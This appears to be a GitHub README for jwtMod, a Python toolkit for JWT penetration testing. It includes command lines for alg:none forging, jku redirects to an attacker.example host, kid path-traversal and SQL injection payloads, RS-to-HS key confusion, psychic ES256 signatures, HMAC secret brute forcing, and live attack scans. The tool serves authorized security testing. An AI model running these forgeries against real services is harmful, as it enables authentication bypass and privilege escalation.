l0lsec/jwtMod

GitHub: l0lsec/jwtMod

jwtMod 是一个集 JWT 声明编辑、伪造签名、多种攻击向量测试、HMAC 密钥爆破及实时目标扫描于一体的 Python 安全测试工具包。

Stars: 0 | Forks: 0

# jwtmod 一个小巧的 JWT 安全测试工具包。以 Python CLI 和本地 Flask Web UI 的形式提供,通过 WebCrypto 在您的浏览器中完全执行攻击。 ## 工具包含内容 - **声明编辑** — `--set`, `--remove`, `--merge-json`, 点路径, JSON 值强制转换, 以及命名预设 (`expire`, `extend-exp=N`, `perma`, `clear-time`, `admin`)。 - **真实签名** — HS256/384/512, RS256/384/512, PS256/384/512, ES256/384/512, `none`。 - **攻击方案** — `alg:none`(包含大小写绕过变体), `jwk` header embed, `jku` redirect, `kid` injection, RS→HS key-confusion, signature stripping, ES256 "psychic signature" (r=s=0), duplicate-claim parser confusion. - **检查** — `info` (声明摘要 + 警告), 两个 token 之间的 `diff`。 - **暴力破解** — 针对内置约 1k 密钥的字典或自定义字典的 HS* 验证循环。 - **实时目标测试** — 粘贴原始 HTTP 请求, jwtmod 将针对 endpoint 重放整套攻击测试组, 将每个响应 (`vulnerable` / `rejected` / `inconclusive`) 与基线和 broken-signature 控制组进行对比评级。可通过 upstream proxy (Burp) 路由, 并可跳过 TLS 验证。 - **Intruder 列表** — 将伪造 token 测试组以每行一个 JWT 的形式输出, 用于 Burp Intruder / ffuf / 任何 payload 集合。 - **测试用例参考** — 评估检查清单位于 [`docs/JWT-TEST-CASES.md`](docs/JWT-TEST-CASES.md), 由工具运行的同一 目录生成。 ## 安装 ``` python3 -m venv .venv && source .venv/bin/activate pip install -r requirements.txt ``` 非对称算法需要 `cryptography`。Web UI 仅在需要 时才用到 Flask。 ## CLI CLI 使用子命令。旧版的单次执行 `python3 cli.py --set ...` 形式仍然作为 `alg:none` 的别名可用。 ### 检查 ``` python3 cli.py decode "$JWT" python3 cli.py info "$JWT" python3 cli.py diff "$JWT_OLD" "$JWT_NEW" ``` ### 修改声明 `modify` 保持原始签名段原样 — 当您想要 编辑 token 然后将其提供给实际上并不检查 签名的验证器时非常有用。 ``` python3 cli.py modify "$JWT" --set role=admin --remove exp python3 cli.py modify "$JWT" --preset admin --preset clear-time python3 cli.py modify "$JWT" --merge-json '{"scope":"*","aud":["api"]}' python3 cli.py modify "$JWT" --set user.deleted=false # dotted path ``` 预设: | Preset | Effect | | --------------------- | ------------------------------------------------------ | | `expire` | `exp = now - 60` | | `extend-exp=SECONDS` | 将 `exp` 增加 N 秒(默认 3600) | | `perma` | `exp = now + 10 years` | | `clear-time` | 移除 `exp`, `nbf`, `iat` | | `admin` | 强制设置 `role=admin`, `isAdmin=true`, 以及现有的键 | `--preset admin:keys=role,isAdmin,groups` 用于限定预设设置的键范围。 ### 伪造 token ``` # alg:none,包含经典的 case-bypass 变体: python3 cli.py forge none "$JWT" --set role=admin python3 cli.py forge none "$JWT" --alg-literal None python3 cli.py forge none "$JWT" --alg-literal nOnE --no-trailing-dot python3 cli.py forge none "$JWT" --keep-header-extras # 使用任何受支持的 alg 重新签名。`--secret` 接受字面值、@file 或 0xHEX。 python3 cli.py forge sign "$JWT" --alg HS256 --secret hunter2 --set role=admin python3 cli.py forge sign "$JWT" --alg HS512 --secret @secret.bin python3 cli.py forge sign "$JWT" --alg RS256 --key priv.pem --kid kid-1 python3 cli.py forge sign "$JWT" --alg ES384 --key ec.pem ``` ### 攻击 每个攻击方案都接受相同的 payload 标志 (`--set`, `--remove`, `--merge-json`, `--preset`) 以及用于机器输出的全局 `--json` 标志。 ``` # 1) jwk header embed — 验证器信任 header 中的公共 JWK。 python3 cli.py attack jwk-embed "$JWT" --set role=admin --out-priv attacker.pem # 2) jku — 验证器在我们控制的 URL 处获取 JWKS。 python3 cli.py attack jku "$JWT" \ --url https://attacker.example/.well-known/jwks.json \ --out-jwks jwks.json --out-priv attacker.pem \ --set role=admin # 3) kid injection — 路径/SQL payload + 空 secret HS256。 python3 cli.py attack kid "$JWT" --value '../../../../dev/null' --set role=admin python3 cli.py attack kid "$JWT" --value "' UNION SELECT 'AAAAAAAAAAAAAAAAA'--" # 4) RS→HS confusion — 使用签发者的公共 PEM 作为密钥进行 HMAC 签名。 python3 cli.py attack rs-to-hs "$JWT" --public-key target_pub.pem --set role=admin # 5) Strip signature — 空的第三段,可选地重写 alg。 python3 cli.py attack strip-sig "$JWT" --alg-literal none # 6) Psychic ES256 (CVE-2022-21449 类) — r=s=0。 python3 cli.py attack psychic-es256 "$JWT" --set role=admin ``` ### 验证 ``` python3 cli.py verify "$JWT" --alg HS256 --secret hunter2 # exits 0/1 python3 cli.py verify "$JWT" --alg RS256 --key issuer_pub.pem ``` ### 暴力破解 HS* 密钥 ``` # 内置的 top wordlist(约 1k 条目): python3 cli.py brute "$JWT" # 自定义 wordlist,上限为 100k 次尝试: python3 cli.py brute "$JWT" --wordlist big.txt --max 100000 ``` ### 针对目标的实时扫描 `scan` 读取原始 HTTP 请求(来自 `--request FILE` 或 stdin),找到其中的 JWT, 针对 endpoint 重放攻击测试组,并对每个 响应进行评级。它会发送实时流量 — **仅限已授权目标。** ``` # 通过 Burp 重放,忽略其自签名 cert: python3 cli.py scan --request captured.txt --proxy http://127.0.0.1:8080 --insecure # 启用 key-dependent 测试和 privilege-escalation 探测: python3 cli.py scan --request captured.txt \ --public-key issuer_pub.pem --jku-url https://you.tld/jwks.json --bump-role # 通过管道传入请求并获取机器可读的输出: pbpaste | python3 cli.py scan --json ``` 判定结果基于基线(原始 token)和阴性对照 (broken signature)进行锚定;如果 endpoint 接受了 broken-signature 对照组,则每次攻击的 结果将报告为 `inconclusive`,而不是具有误导性的“全部脆弱”。 ### Intruder token 列表 ``` # 每行一个伪造的 JWT — 直接输入到 Burp Intruder / ffuf: python3 cli.py intruder "$JWT" > tokens.txt python3 cli.py intruder "$JWT" --bump-role --public-key issuer_pub.pem # 列出 test-case 目录: python3 cli.py intruder --list-cases ``` ### Stdin 和 JSON 输出 ``` echo "$JWT" | python3 cli.py modify --set role=admin python3 cli.py forge none "$JWT" --json --set role=admin ``` ## Web UI ``` python3 web.py # http://127.0.0.1:5000 python3 web.py --port 8000 ``` 粘贴一个 JWT,编辑 payload,切换选项卡以选择攻击。手动伪造和 验证通过 `SubtleCrypto` 在您的浏览器中本地运行;服务器在 `/api/decode`, `/api/forge`, `/api/sign`, `/api/verify`, `/api/info`, `/api/diff`, `/api/brute`, 和 `/api/attack/` 下暴露相同的操作,以保持脚本功能的一致性。 **Live target testing** 面板是在服务器端运行的:粘贴原始 HTTP 请求, 点击 **Parse request** 从中提取 JWT,设置 proxy / TLS / role-bump 选项,然后点击 **Run attack scan** 重放测试组并查看评级结果 表,或者点击 **Generate intruder list** 复制/下载伪造的 token。这些功能 依赖于 `/api/parse-request`, `/api/scan`, 和 `/api/intruder` — 其中 `/api/scan` 会向目标发出出站请求,因此请仅在您已获授权的情况下使用。 ## 每种攻击能发现什么 | Attack | Verifier bug exercised | | ------------------ | -------------------------------------------------------------- | | `alg:none` | 接受 `alg=none`, 或未能规范化 (`None`, `NONE`)。 | | Strip signature | 当第三段为空时跳过签名检查。 | | Sign as | 接受攻击者选择的算法。 | | Embed jwk | 信任 header 中提供的公共 JWK。 | | jku | 获取 `jku` 中的任何 URL 而不是 allowlist。 | | kid injection | 读取 `kid` 处的文件并使用其内容进行 HMAC。 | | RS→HS confusion | 将发布者的公共 PEM 重用为 HMAC 密钥。 | | Psychic ES256 | 接受 r=s=0 的 ECDSA 签名 (CVE-2022-21449 class)。 | | Brute force | 弱 HMAC 密钥(默认、演示、字典单词)。 | ## 范围之外 - JWE (encrypted JWT) 未实现 — 独立的规范范畴。 - `jku` 攻击会生成一个 JWKS 文件;将其托管在 URL 上由您自己决定。 - 没有打包 / GUI 捆绑。通过 `python3 cli.py` 和 `python3 web.py` 运行。
标签:Flask, JWT, Maven, Python, 无后门, 漏洞验证, 逆向工具